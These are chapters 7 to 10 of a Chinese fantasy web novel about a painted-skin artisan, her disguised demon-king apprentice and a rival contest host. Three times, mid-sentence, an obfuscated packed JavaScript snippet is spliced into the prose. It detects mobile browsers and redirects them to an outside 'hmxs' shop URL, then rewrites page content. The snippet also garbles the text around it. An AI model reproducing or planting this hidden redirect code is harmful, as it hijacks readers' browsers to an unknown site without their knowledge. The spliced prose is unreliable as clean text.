“小骨。”百灵强忍即将喷涌而出的怒火,皮笑肉不笑道,“男人的身体构造,我比你更懂,请你不要再指指点点了。” “这个人的臀部,不是我想捏这么大,是他本来如此!” 百灵指着臀部上未干的泥巴,特意提高了音响,咬牙大声强调。 话毕,小骨登时脸色通红,抬手无措地抬起整理了下碎发,欲言又止。 周延玉有苦说不出。 他确实不清楚自己的屁股到底多大,但就算百灵说的是事实,也没必要那么大声吧。 周延玉尬尴无措的模样被百灵尽收眼底。 这就害羞了?真没种...... 真不知道他哪来的胆子要这具强壮的男性身体,以后怎么办,闭着眼睛洗澡穿衣吗? 百灵懒得替小骨的未来担心,埋头继续捏她的泥巴。 本以为他该就此罢休了,没成想竟然趁着半夜百灵睡着,自己动手改装这个身体。 百灵气得够呛不说,还要收拾他的烂摊子。 原本对称圆润的臀部被改的奇形怪状,一大一小,捣乱者本人都看不下去,半夜把百灵吵醒让她修复如初。 这一切种种,百灵只要想起,就气血上涌,怒火中烧。 她要假装报名参加有学徒的画皮比试,让小骨吃点苦头。 为确保计划万无一失,百灵立刻拿出纸笔,准备书信一封,让白夭夭配合她一起演戏。 百灵知道这有些冒险,但小骨为了隐藏身份,必不敢在芜月楼众目睽睽之下对她如何,这口恶气,她非出不可。 ...... 芜月楼,暗室内。 不同于外面的丝竹管弦声,此处僻静幽暗,空气中似有若无飘着一股淡淡檀香。 虽是见不得光的暗室,但装潢精致,不少玉石宝物,就连屏风上都绣着精美花纹图案,可见屋主人身份特殊。 屏风之后,隐隐约约透出一道身影,未见其人,先闻其声。 “他早就死了。” 来人声音如清泉清透,但却没有一丝感情。 “叶知舟!你少装蒜了,你知道我这话什么意思!” 屏风受到外力冲击,“砰”地一声裂成两半,斜倒在地上。 叶知舟淡定自若,缓缓从断裂的屏风后走出来。 他一身素净衣裳,上面绘有墨竹,更衬得他眉目如画,温润如玉。 “许久不见,你的性子还是没变,和你弟弟一模一样,喜欢搞破坏。”叶知舟笑着调侃眼前人。 站在他身前的,是一个体型粗犷的男子,浑身的肌肉虬结,随着高频的呼吸上下起伏,似要随时爆裂开来。 “你还有脸提起我弟弟,今天你不说清楚我弟弟究竟是谁害死的,我就算在你头上,要你血债血偿!” 说话时他眸光闪烁着诡异的光,在幽暗环境下,显得更加突出。 “稍安勿躁,大虎。”叶知舟面色柔和,轻声安抚道。 “小虎的死,是王二铁反噬造成的。他们二者同归于尽,你也没必要报什么仇。” “你别想骗我,我弟弟再如何不济,也不可能被一只鬼给害死。”大虎尚未从激动心绪中解脱开,用手指着叶知舟的鼻子愤然道。 小虎是他的双胞胎弟弟,他们本是妖界的死囚,孤注一掷逃亡鬼界,穿越结界时都丢失了身体,两人也因此失联。 大虎投靠了叶知舟,因为他能给他提供用不完的身体,他想拉着弟弟一同入伙,可找到小虎时,他已经附身到王二铁的身上。 他并不死心,坚持劝导弟弟和他一起,因为鬼会反抗,完全的操控不是件容易的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719257|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小虎却反驳他只能受人指使,而且叶知舟给的身体脆弱不堪,需要不断更换,无法安定下来,他接受不了这样的日子。 在叶知舟的提议下,大虎劝小虎见了他一面。 不知二人说了什么,总之小虎突然转性了,答应放弃王二铁这具身体,听从他的安排。 大虎没来得及高兴多久,小虎就暴毙了。 他只能将原因引到叶知舟的头上,因为他有这能力,在他手底下,以同样的方式收服的妖怪不止他一个。 “好好用你的脑子想想。”叶知舟对鲁莽的大虎嗤之以鼻,“小虎死了我能得到什么好处,说难听点,我何必为了这样一个小妖大费周章。” “……”大虎气没消,但依旧不服气。 “大半年的时间他都拿不下这具身体。”叶知舟吸了口气,继续道,“仅剩的那点妖力早就耗尽了,不然你以为我当初是如何说服他的。” “是我承诺给他一具按他自己心意打造的强壮的新身体,并且不会出现任何不适反应,他才答应的。” 大虎瞳孔震颤,眉间倏然皱起。他从未做这般设想,以为是兄弟幡然醒悟,实际竟是如此现实。 可就算如此,何必对他隐瞒真相。 他死心塌地给叶知舟干活,也没得到他如此承诺。 思及此,怨恨的情绪在心中逐渐蔓延。 “你弟弟的妖力太弱了,随随便便一个假身体于他而言都足够了。”叶知舟察觉到眼前人的低气压,耐着性子解释道。 “至于你可就不一样了,你是我的得力下属,我准备给你一份大礼。”叶知舟嗤笑一声,话锋一转道,“可你如今这般表现……” 几句话就翻转了局面,大虎压下涌动的愤懑,不情不愿低头道:“是我的错,我太莽撞了。” “你的性子是该收收了,否则我真要考虑画皮比试第一名的新身体要不要给你了,这些画皮师们和店里千篇一律的假人可不一样,为了比赛胜利,他们不会放过每一处细节。” 大虎眼前一亮,向前一步躬身道:“我保证再无下次,只要能拿到这副身体,你就是叫我去死,我也心甘情愿!” 大虎信誓旦旦的保证,叶知舟一笑置之。 他不需要这个呆瓜对他有多忠诚,好用才是最要紧的,他实力强大,一般的身体于他而言太过脆弱,由那些画皮师们辛辛苦苦做的身体最合适不过。 临走前,大虎得寸进尺,想向叶知舟讨要芜月楼的一个人。 他色眯眯道:“也不是什么特别的人,我看中个姑娘,想讨来过日子。” 叶知舟轻蔑摆摆手,示意他随便。 一个强有力的工具人和谁都可以替代的帮工,孰轻孰重,他心里还是有数的。 “那我这就去把白姑娘接过来!”大虎喜出望外,拔腿准备去抢人。 “等等……”叶知舟迟疑片刻,偏头发话,“哪个白姑娘?” “就前阵子那个打架的泼辣丫头,白夭夭,我看她长得有几分……” “姿色”两字尚未说出口,大虎眼睁睁看着叶知舟脸色越来越暗。 他脑子不好使,但还是能看懂人眼色的,叶知舟当下极其不悦。 难不成他也看上了白夭夭? 大虎张着嘴欲言又止。 “你的眼光真令我失望,竟然看上这样的货色。”叶知舟眸光晦涩,启唇嘲讽道。 大虎丈二和尚摸不着头脑,进退两难。他就喜欢白夭夭如此性子的,可叶知舟这话的意思似是拒绝。 “除了她,谁都行。” 叶知舟可算是抛下了一句态度明确的话。 “是。”大虎撇嘴应下,心中腹诽叶知舟真是多管闲事,他自己喜欢不就行了,管那么多干嘛。 8. 第八章 天色将明未明,僻静小道上,两道身影并排走着。 离幽都还有好长一段距离,就算加快些脚步,进城也起码得到午时。 少女的额间沁出了一层薄薄的汗,濡湿了鬓角的头发。 “累死我了。”百灵卸下肩上炸药包一样大的包袱,支起胳膊斜倚在上面,而后喘了两口气道,“先歇会。” 画皮比试的时间很长,她没有时间和精力来回往返,干脆把所有需要的东西全部带上。 叶知舟给他们这些人提供了临时住所,但百灵还是决定借住在夭夭那里,还能省下一笔钱。 至于小骨这家伙,整日里昼伏夜出的,根本不用管。 “我们可是说好了的,进城后我才给你拿东西。”周延玉悠闲抱着双臂,眼里写满了对百灵狼狈模样的嘲讽,弯唇笑道,“现在想求我可没用。” 出门前百灵和他说好了,行李两人一人一半,等到了幽都,就都由周延玉一人承担,毕竟他是学徒,人多的地方还是要装的像点。 其实周延玉背上的大箱子更重,里面是他自己的骨头架子,还有百灵事先捏好的各个部位的人体泥块。 不过于他而言不过小菜一碟,就算再来上十个箱子都能面不改色走完全程。 百灵知道他不是在吹牛,那天只是短暂拥有了他一点点的妖力,就已经力大如牛。 “我就是累了歇会。”百灵不甘示弱,抹了把脸上即将滴落的汗珠,仰起下颌道,“谁说要你帮忙了。” 说罢,她挽起碍事的袖子,一鼓作气将包袱抡到身后,动作太猛,险先被强大的后坐力带地栽倒。 “走吧。”她稳住身形,攥紧了双手道。 两人一前一后走着,百灵在前,周延玉在后。 为了保持同样的节奏,周延玉只能放缓自己的速度来适应百灵。 微弱的晨光洒下,投出一道艰难行走的身影。 真是死鸭子嘴硬。 周延玉没什么耐心,不想再陪百灵这样蜗牛似的慢吞吞走下去。 自从上次回溯后,他从王婶身上得到的唯一有效信息就是芜月楼。 可惜王二铁被附身了,自身的记忆和那妖物的记忆混杂在一起,没办法回溯。 从王婶的记忆可以看出,王二铁早就被附身了,再久之前的事他也没法提取。 附身之后的王二铁性情大变,整日躁动不安。 可自从他去了一趟芜月楼以后,原先怨愤的脸上竟多了几分笑意。 这地方一定有什么蹊跷。 妖附身于鬼的身份,夺舍其灵魂,绝非偶然。 他隐隐中觉着此事和自己的暗杀也有关。 周延玉想得出神,不知不觉恢复了正常速度,猝不及防撞到了百灵背后的大包袱。 “你干嘛呢?”百灵气地侧过身,怒视周延玉,“不帮忙就算了,背地里还偷偷使坏。” 周延玉本是理亏的一方,可听她这番无端的指责污蔑,顿时也来了火气。 “分明是你走的慢,在前面挡路,不然我也撞不上。” “大小姐,我有拦着你走我前面吗?”百灵眉峰轻蹙,阴阳怪气道,“请问你认路吗?” 周延玉愣在原地,一时间没反应过来大小姐说的就是他。 “想让我快点也不是没办法。”百灵撂下包袱,抬起一支手臂,理直气壮道,“分我点妖力。” 她老早就想这么说了,可拉不下面子,毕竟一开始是她自己非要逞强背这么个炸药包,一点东西也不分给小骨。 不知为何,看着自己捏出来的泥人背着大包小包的东西怪可怜的,毕竟创作的初心不是为了造个奴隶给自己干脏活累活的。 但一想到里面是个黑芯子的女妖怪,怜悯之情荡然无存。 正如此刻,她挺直了脊背,晃晃五指,像只高傲的小猫,催促周延玉快点行动。 周延玉哑然,就算百灵不知晓自己的真实身份,但也不至于如此嚣张。 把他堂堂妖王的妖力当什么了,说借就借。 而且他还是她的救命恩人! “不借。”周延玉无情道。 说罢,他想到了坏点子,又立刻补充道,“除非你低声下气……” “求”字卡在喉间,被少女潇洒甩包离去的背影吞没入腹。 “……” 周延玉骤然停下脚步,周遭的空气似乎都随之一滞。他看着百灵头也不回的背影,眸色沉了下去。 很好,一而再,再而三地无视他。他或许暂时需要这个画皮师,但这绝不代表她可以如此放肆。 周延玉身形一闪,无声无息地便挡在百灵面前,将肩上的木箱不轻不重地放下,恰好拦住她的去路。他面上已没了方才的气恼,唯余一片深潭般的平静。 “我改主意了。”他声音不高,却沉稳有力,“在进城之前,我不会再动这箱子分毫。你可以继续逞强,也可以为之前的无礼道歉。如何选择,在你。” 百灵咽了口水,呆望着眼前的大箱子,手足无措。 光靠她一个人搬到城里去,她会死的。 就算连拖带拉真的运过去了,也会错过报道的时间。 道歉?不可能的……她又没做错什么。 百灵松下包袱,神色复杂,定定凝视周延玉。 周延玉双手交叠,唇角浅浅上扬,好不得意。 “有件事,一直没敢告诉你……” 听这语气,不大对劲。 “其实上次你借我的妖力没什么用,我只是装装样子。”百灵低垂眼眸,十分难为情的样子,“那个地方的土很软,很好挖的,我劲也不小。” “之所以挖那么大的坑,是怕你看出来我装的……” “既然没用,那你刚才为何还要向我借?”周延玉反问道。 “因为我想着,再给你一次机会试试的,毕竟你看起来很强大的样子……” 百灵手指绞着衣角,时不时抬眼瞥眼前人的反应。 她这个演技,应该没什么问题吧。 周延玉闻言,眉梢几不可察地动了一下。 妖力无效?他自然是不信的,他明明有感觉到力量的传递。 他看穿了百灵的伎俩,她累了,在找台阶下,却又拉不下面子。 他心底那点因被冒犯而起的不悦,忽然就散了,转而升起一种居高临下的了然。 既然她想要个体面,他便大发慈悲给她这个体面,毕竟早日抵达幽都才是他的首要目的。 “罢了。”他不再多言,径直接过百灵那巨大的包袱放在箱子上,语气带着一丝懒得拆穿的慵懒,“坐上来。我不想再浪费时间。” 百灵以为他是要给自己分妖力证明自己,听话坐了上去。 “欸……!” 脚底倏然一空,周延玉竟是连人带箱一股脑背了起来。 “别乱动。”他叮嘱道。 就这样好了,不然和这个拖油瓶磨磨蹭蹭,不知何时才能到幽都。 于是他就这样背着包袱和百灵,自顾自前进。 此时高处的百灵一脸茫然。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719258|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不试探自己,难道是发现了她在说谎? 居高临下的视角,百灵看见周延玉凌乱不堪的发顶,暗暗决定要为他做顶新头发。 不然对不起身底下任劳任怨的老黄牛。 …… 芜月楼前,乌压压的人群将路堵的水泄不通。 报名参加画皮比试的,路过纯看热闹的,来吃饭听曲的,全都挤到了一处。 原本就热闹的芜月楼比往常更加喧闹。 负责报名登记入册的白夭夭一个头两个大。 她是个被临时派来帮忙的倒霉蛋。 要不是想着可以见到百灵,她才不想来呢。 结果她现在忙得根本抽不出功夫。 “画皮师宋清河,学徒卫影。” 清泉般透亮的嗓音来自一位头戴帷帽的蓝衣女子,在她身侧站着一个好奇东张西望的男子。 宋清河?幽都宋家吗?专门管冥婚的那个宋家? 白夭夭负责的是学徒组的报名,算上宋情河已经来了不少关系户。 没想到连宋家大小姐都来凑热闹了,这比试竞争可真不小。 白夭夭抬头瞅了一眼,凭着眼前人独特的身型气质,就猜到她八成是宋家千金。 这么吵的环境之下,她没有一丝埋怨和不满,如仙鹤立于鸡群,遗世独立。 月白的薄纱下她的面容若隐若现,想必是位举止端庄,克己复礼的大家闺秀。 当然也离不开那顶犹抱琵琶半遮面的帽子,给了白夭夭充足的想象空间,她向来是以貌取人的。 至于她带来的学徒,看面相倒是清俊可人,举止却稍显猥琐,怎么老鼠一样左看右看。 白夭夭都忍不住替周围人的钱财担忧了。 这俩人站一块,更显得宋情河出尘。 大小姐眼光有待提高啊…… “再乱瞟把你眼珠子挖了。” 帷帽底下冷不丁传来冷酷的训斥声。 “是是,我再不敢了。”来人火速认怂。 “……”白夭夭心一惊,原来是主人和她的奴隶,一个愿打一个愿挨的关系。 登记完这主仆二人的名字,白夭夭总算撑到了轮班休息的时候。 她渴得猛灌下一壶冷茶,又胡乱塞了几口点心在嘴里,发愁望着乌泱泱的人头。 灵姐到底什么时候能到啊,她会不会听自己的话放弃那个来路不明的学徒呢? 这种半路杀出来的不速之客,一般可都不是什么好人,白夭夭有前车之鉴。 她流浪时曾经主动帮助过一个同样没有去处的人,起初她以为那人年纪小,可怜他无家可归便收留了他。 后来她才知道他年纪要比她大几岁,只是长起吃不饱加上发育慢显得很小。 彼时的白夭夭已经混出了自己一番地盘,不再是从前那个任人欺负的可怜小孩。 遇见小五时,他正在被人欺负,一如当年的自己。 白夭夭仗义出手相助,未曾想这人竟赖上了自己。 他无家可归,没有名字,因为两人相遇那天是正月初五,白夭夭就给他取名小五。 两人亲如家人般一同生活了几年,直到某天小五不辞而别。 很久之后她才知晓小五投奔了有钱有势的大户人家,放弃了他们二人的小家。 可小五不止一次向她承诺二人要永远在一起,他还说和自己在一起就是这辈子最幸福的事情。 哼,男人的嘴,骗人的鬼。 她亲自掉过的坑,可不能再眼睁睁看着身边人重蹈覆辙。 9. 第九章 有周延玉这个苦力,百灵比预想中更早到了芜月楼。 但这对她而言不是什么好事,因为白夭夭大概没有收到她的信。 即使她提前找了熟人给她顺信,但也不至于这么快。 计划必须完成,她绝不允许任何人妨碍她创作。 这是她第一次参加画皮比试,意义重大,她无法接受小骨一意孤行影响她的发挥。 她要先偷偷去报名一个人的比试,然后拉着小骨到白夭夭面前,立一个师威。 信里说的很清楚,需要夭夭质疑小骨的学徒身份,故意打压看不起她,然后小骨肯定会顶嘴,最后顺理成章因为小骨的桀骜不驯取消掉参赛资格。 她就可以顺理成章怪罪小骨这个罪魁祸首,美美一个人参加比试。 完美! 她借口要找地方放行李,让小骨自己一个人四处逛逛,半个时辰后准时在门口汇合。 小骨显然已被花花世界迷了眼,欣然应允。 百灵马不停蹄排队报名去了。 轮到她时,登记的小厮一听她的名字,特意抬起头道:“百灵是吧,你的名字已经在学徒组登记完成,不可以再参加单人的比试。” “怎么会?”百灵瞪大了双眼,震惊道,“我人才刚到,根本没有去学徒组登记,是不是搞错了。” 难道是夭夭?不可能啊,她巴不得自己一个人参加比试…… “不会错的。”小厮说的斩钉截铁,挥挥手,越过百灵扭头道,“下一个。” 百灵还想据理力争,可队伍排得很长,后面的人不会给她时间。 她站在原地,一时不知如何处理。 “百灵姑娘,请跟我来。”一个小丫头模样的姑娘从身后拽了拽她的袖子,笑盈盈道,“主子要见你。” 百灵一头雾水,“你主子是谁?” “主子姓叶,已经等待姑娘多时了。” 姓叶,叶知舟…… 是他,一定是他搞的鬼,这个叶知舟究竟想干什么? 难不成她曾拒绝过他,现在就要来以这种方式报复她,不许她参加比试吗? 可她只是一个籍籍无名的画皮师,叶知舟有必要这样针对她吗,还要求亲自见她。 一切的疑惑,等见到他就知道了。 百灵跟着小丫头进入芜月楼内,沿着楼梯往上,不知上了几层楼,又越过重重纱幔,小丫头引她到了一处僻静之地后,停下脚步。 在见到叶知舟之前,她先闻到了一股淡淡檀香,有那么一瞬间她置若佛堂寺庙内。 真是个奇怪的人,百灵始终觉得这种闻到就忍不住让人产生远离世俗清心寡欲的檀香和叶知舟格格不入。 也许人就是喜欢和自己完全不同的事物。 “好久不见了,百灵。” 叶知舟嘴上说着老友叙旧的寒暄客套话,脸上却挂着一如既往熟悉的淡淡假笑。 “说吧,你这回又是想跟我做什么买卖,叶老板。”百灵开门见山,并不想和此人拐弯抹角交流。 “别生气啊。”叶知舟一眼看出百灵心中不悦,缓声道,“是我自作主张取消了你的比试资格,但我也是为了你好。” “为我好?”百灵不可思议,抬眸轻蔑扫了他一眼,讥讽道,“看不出来叶老板是个善解人意的人啊。” “随你怎么说。”叶知舟轻笑一声,并不因她的话而恼怒。 “你可知单人比试的前三名需得加入我的画皮坊,我知晓你生性自由,不愿受拘束,便提前替你做了裁决。”他继续补充道。 “所以你就让我加入学徒组,和那些关系户去竞争?当他们的垫脚石?” 百灵并不领情。 首先叶知舟不会那么好心替她着想,就算他说的是事实,她也不需要别人来替她做决定。 “如果你想的话,也可以是关系户。” 叶知舟图穷匕见,就差直接告诉百灵快来投靠他。 兜兜转转还是一个意思,投靠他甚至比在他画皮坊干活的连接更加紧密。 百灵想赢,想凭实力赢,但这似乎不可能。 她清楚知道,如果投靠了叶知舟,比试会非常的顺利,甚至拔得头筹。 可这背后,需要付出巨大的代价。 她将把自由和时间全部献祭给叶知舟,他一定会狠狠压榨她身上可用的一切。 叶知舟不是好人,就算要投靠,她也不会选择这样一个人。 她曾听说过秘闻,说叶知舟不是鬼,是妖怪,他一直以来都保持着年轻的面孔。 鬼妖不相容,是两界的共识。 正如她和小骨,王二铁和那只附身在他身上的妖。 作为两类中的弱势,她无疑只能和同族共情。 但她也清楚的知道,如果拒绝成为叶知舟的同盟,将来他们一定会是对手。 她可以对叶知舟毫不客气,但绝不能和他宣战,彻底划分界线。 至少现在还不能。 “我需要时间思考。” 百灵最终选择给一个模棱两可的回答。 “静候佳音。” 叶知舟凝眉思索片刻,假笑道。 临走前,叶知舟毫无征兆地提到了白夭夭。 “你应该离她远点,免得被带坏了。” 百灵不明白他为何突然提起夭夭。 “叶老板很关心自己的下属。”百灵试探道。 “我对所有下属都很关心。”叶知舟面不改色道,“至于她,当初我也是看在你的面子上,才破例让她进来。” “夭夭是个好人,她直率不做作,有她是你们芜月楼的福气。” 百灵毫不吝啬对白夭夭的夸奖。 闻言,叶知舟笑而不语。 懒得揣测他这笑容里几分真几分假,百灵径直离开了。 计划赶不上变化,原本要抛弃的小骨又必须要留下来了。 事到如今,走一步看一步吧。 …… 周延玉并不知道,自己被某人在脑海里瘫煎饼一样,丢出去又捡回来。 探查芜月楼周边时,他又闻到了同类的气息,而且是熟悉的气息。 他很迫切想找到此人,可芜月楼来往的人太多太杂,气息混乱,很难准确识别到气息的位置。 功夫不负有心人,数次仔细探查后,他将范围缩小到了不远处两人身上。 一个头戴帷帽的神秘女子,还有一个偷偷摸摸的男子。 他用了两秒的时间判断,一定是那个戴帷帽的女子。 实在不愿相信那个虎头虎脑的人是自己的老熟人。 他假装不经意朝两人靠近,余光中窥见帷帽女子抬手作势要打对面之人。 更加确信了自己的判断。 三人之间的距离不断缩小,最后停留在约莫一丈的距离。 一抹熟稔且强大的气息在空气之中蔓延扩散。 卫影瞳孔震颤,脸色陡变。 他猛一回头,正正对上周延玉的视线。 ?? 像是看见什么脏东西,周延玉下意识别开视线。 不是他吧,不会是他吧…… 心中隐隐有了不祥的预感。 “君…君上……”卫影眼里闪着模糊泪光,哆嗦着嘴唇,艰难从齿缝挤出这两个字。 周延玉大脑空白几秒,终被拉回现实的岸边。 “卫影?”比起快要哭出来的卫影,周延玉的语气冷静不少。 久旱逢甘雨,他乡遇故知。 卫影的心绪激动到了极点,有千言万语想对周延玉诉说。 他是周延玉最忠实的下属,他们二人从小一起长大,亲如兄弟。 只是他有时感性太过,常被周延玉嫌弃,但这并不影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719259|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响二人深厚感情。 此时周延玉心中的起伏不比卫影小。 和他一样,卫影也并非是自己原本的身体,所以周延玉没有及时认出来。 说明他也越过了结界,难道想杀他的妖想把卫影也一并拿下吗? 即位后,卫影是他最信任的人,总在危险时刻保护他。 他很强大,勇敢,妖界少有他的对手,所以周延玉没有认出他方才那般畏畏缩缩的模样。 又联想到自己屈于人下,委身自己做他人学徒。 同病相怜的两兄弟。 两人之间并未再有言语,却形成了一道无形的隔阂,将俗世隔绝在外,一切尽在不言中。 宋情河隔着纱帘,她的视角里,自己的傻瓜学徒正和一个不男不女的人深情对视。 真是天下之大,无奇不有。 “行了,走了。” 宋情河难得耐着性子等了一会,见卫影并不自觉,果断出声打断他们二人。 卫影依旧不为所动,不自觉向周延玉投以可怜的目光。 周延玉接收到信号,护犊子般将卫影护在身后,挺直腰板立在宋情河面前。 “……”宋情河两眼一抹黑,突感自己成为他们play的一环。 周延玉的气场毋庸置疑强于卫影。 直觉告诉宋情河来者不善,她一时怔住。 僵持的氛围没有持续太久。 “小骨!” 声音从不远处传来,顺着声源的方向,周延玉率先有所动作,另外二人也顺着他的视角看去。 宋清河透过纱帘的缝隙,细细打量着百灵。 一位身着素衣却不掩其姿色的女子缓缓朝他们靠近,她一双眼睛圆润流畅,眼尾略弯,瞳仁隐隐有上翘之势,眉弓处完美衔接着挺而直的鼻梁,丰润的唇瓣微微透着淡淡的绯色。 百灵长期不施粉黛,忙于画皮,一双水灵的眼睛下还有淡淡的泪沟,白璧微瑕,影影绰绰透出一股似有若无成熟气息。 “你怎么在这?” 百灵有些疑惑瞄了另外两人,看样子他们认识? 他们也是妖怪吗? 周延玉察觉到百灵神色有异,当即狠下心避开卫影,移步至她身侧,而后波澜不惊道,“去报到吧。” 和卫影的相认不可在大庭广众之前,免得惹人怀疑,他并不止察觉到一只妖怪的气息。 他信得过卫影,但信不过别人。 方才他被一声“君上”叫得猝不及防,脱口而出卫影的名字,断不可再如此贸然。 “你认识他们?”百灵忍不住好奇问。 “不认识。”周延玉矢口否认,随意胡诌了一个理由,“劝架。” “你去劝架?”百灵睫毛飞速眨动着,难以置信道,“真的假的?” 小骨哪是这种多管闲事的人,不和人吵起来就谢天谢地了。 “他们吵到我耳朵了。” 嗯,这还差不多。 直到两人背影消失,卫影仍然注视着留有周延玉气息的虚空一点。 十几年的默契,卫影大概猜到了周延玉适才谨慎行事避人耳目之意。 可君上说什么“报到”这种话? 可怖的猜想在心中忽而泛起。 君上和他一样做了别人的学徒吗?还是那样一个手无缚鸡之力的女子! 仅一霎时的念头转瞬即逝。 不可能,他的君上怎会沦落至此,他不相信,坚决不信。 定是为了脱身而编造的假话。 “熟人啊?”宋清河对他提出了同样的问题。 原本她想说的是相好,思来想去,还是委婉点。 卫影虔诚的目光扔不愿挪开。 “不是。” 他一副大义灭亲,下一秒就要为国赴死的表情。 “哦。” 不信。 10. 第十章 白夭夭忙得昏天黑地,又一次的轮班歇息,她收到了百灵托人送来的信。 她急忙拆开察看,随着视线下移,脸上逐渐浮现出心满意足的笑容,忙碌了半天的疲惫感都一扫而空。 这还需要假装演戏吗?她直接本色出演了! 她将信按在胸口,无比欣慰,看来灵姐还是听劝的。 那个叫小骨的学徒,果然不是什么好东西,寄人篱下还蹬鼻子上脸了。 定要给他些颜色瞧瞧。 为了不错过百灵,白夭夭稍作休息后就匆忙上阵。 有了百灵的信,她的底气很足,干劲十足。 而此刻,百灵正排在队末的位置焦急万分,她想离队先去找白夭夭,却被人误会插队而无法上前。 按叶知舟的说法,应该是给她登记好了。 不过她信不过叶知舟,也许那人以此诓骗她错过报名的机会。 退一步看,假使叶知舟说的是真的,她也不知怎么和小骨以及白夭夭解释。 有些事情,太多人知道不好。 因而她还是选择在学徒组排队登记报名,至少得走个过场。 唯一的祈祷,千万不要是白夭夭负责登记入册,如果是,那也不要是看过信的白夭夭。 不然她无法收场,夭夭绝对会夹带着个人情感变本加厉发挥,而小骨也不是忍气吞声的性子。 队伍行进的速度很慢,百灵心中七上八下,眼神飘忽不定,手指在衣角打转,煎熬得很。 紧张的神情被一旁的周延玉尽收眼底。 真是个胆小鬼,他心想。 “小骨,你答应我,等会无论发生什么,千万千万不要与人发生冲突。”百灵始终放心不下,侧过身恳求周延玉,“好吗?” 周延玉愣住,惊讶于她的紧张不安竟是担心他出什么状况。 至于吗,他又不是三岁小孩,也不是什么一点就燃的炸药包。 “好不好呀?”见他没反应,百灵又焦急追问。 “嗯。”周延玉敷衍回应。 谁敢和他起冲突,不要命了? “那从现在开始,你就假装自己是哑巴,有人问你什么,甚至是骂你,你一句话都别说别应,我会替你回答的。”百灵耐心嘱咐道。 “骂我?”周延玉暗暗意识到情况不大对劲,无缘无故谁要招惹他。 她好奇怪,无论是行为还是言语,不像是在提醒自己,而是在提前预设即将要发生的事情。 “我是在想,登记的人从早到晚一直不停,肯定会很累,心里藏着怨气,指不定会把气散在我们这些无辜的人身上,画皮师他们通常不敢得罪,只能拿你们这种学徒下手了。” 百灵有理有据和周延玉分析。 周延玉抬手摸摸下巴,琢磨着她的话也不无道理。 “明白了。”他点头应下。 保险起见,他自己也不会贸然挑事,惹人注意。 “放心吧。”见他这么好说话,百灵心宽下来,提手轻拍了下他的肩膀,“你是我的人,我会罩着你的,相信我。” “……” 这话听得周延玉不大舒服。 从来都是他周延玉罩着别人,哪里还需要别人反过来把他挡在身后,这人真是不知天高地厚。 一炷香后,他们身前只剩下两三对人。 百灵也清楚听见了再熟悉不过的声音。 老天保佑,希望她还没来得及看那封信。 不知不觉间,轮到了百灵和周延玉。 白夭夭眼前一亮,差点要站起身来迎接百灵。 她眼皮微眨几下,嘴角忍不住上挑,一副了然神色,示意百灵会按要求行事。 百灵欲哭无泪,皱着眉头小幅动摇头,试图劝白夭夭回头。 后者却完全误解她的意思,再次投来笃定的眼神。 “……”百灵放弃了。 周延玉见两人眉来眼去,疑窦在心里默默升起。 “画皮师百灵,学徒小骨,麻烦登记一下。” 百灵往前一步,卡住了周延玉半个身位,人为在他和白夭夭之间隔开一处屏障。 可她低估了白夭夭的决心,只见她双手一摊,懒散抬起眼皮,高扬起头颅,斜眼看向周延玉。 语调里的漠视和鄙夷毫不掩饰。 “你就是小骨啊,她的学徒吗?我看着不大像啊?” 白夭夭无视百灵疯狂暗示的目光,径直对周延玉发难道。 周延玉身形一僵,面色稍显难堪。 罢了,不和一般人计较,他忍住了。 挺能装的啊小子,白夭夭眼珠一转,撇撇嘴,用看垃圾一般的眼神上下飞速扫视他几眼。 “是的,他就是我的学徒!我可以保证!” 为阻止两人之间产生矛盾,百灵当即提高了音量回应道。 与此同时,她又悄无声息朝着周延玉身前移动一小步。 白夭夭没有任何动摇,她甚至误以为百灵演技高超,还主动安插了假意维护的戏码。 “知道了。”白夭夭轻声回了一句,而后又将话头抛给周延玉,“我问你呢小子?怎么不说话,是哑巴还是聋子?” ?? 周延玉严重怀疑自己被百灵做局整了。 排队时说的那些话不过是为了降低他警惕心的铺垫而已。 这两人肯定不是陌生人的关系,他已经不止一次瞥见百灵在使眼色了。 她找来的托一接受到信号就条件反射般对他挑衅。 好啊,一个唱白脸,一个唱红脸,可真是把他安排地明明白白。 “他只是比较认生胆小,不爱说话,真的是我的学徒。”百灵再次替周延玉作答。 可她的话非但没缓解,反而火上浇油。 白夭夭更加来劲,周延玉也确信她们二人早就暗中勾结,联起手来戏弄自己。 “我警告你!”白夭夭这回直接越过了和百灵的互动,拍案而起,指着周延玉的鼻子义正言辞道,“再不回话,我有理由把你当成假扮学徒的骗子给赶出去,再找人把你狠狠打一顿。” 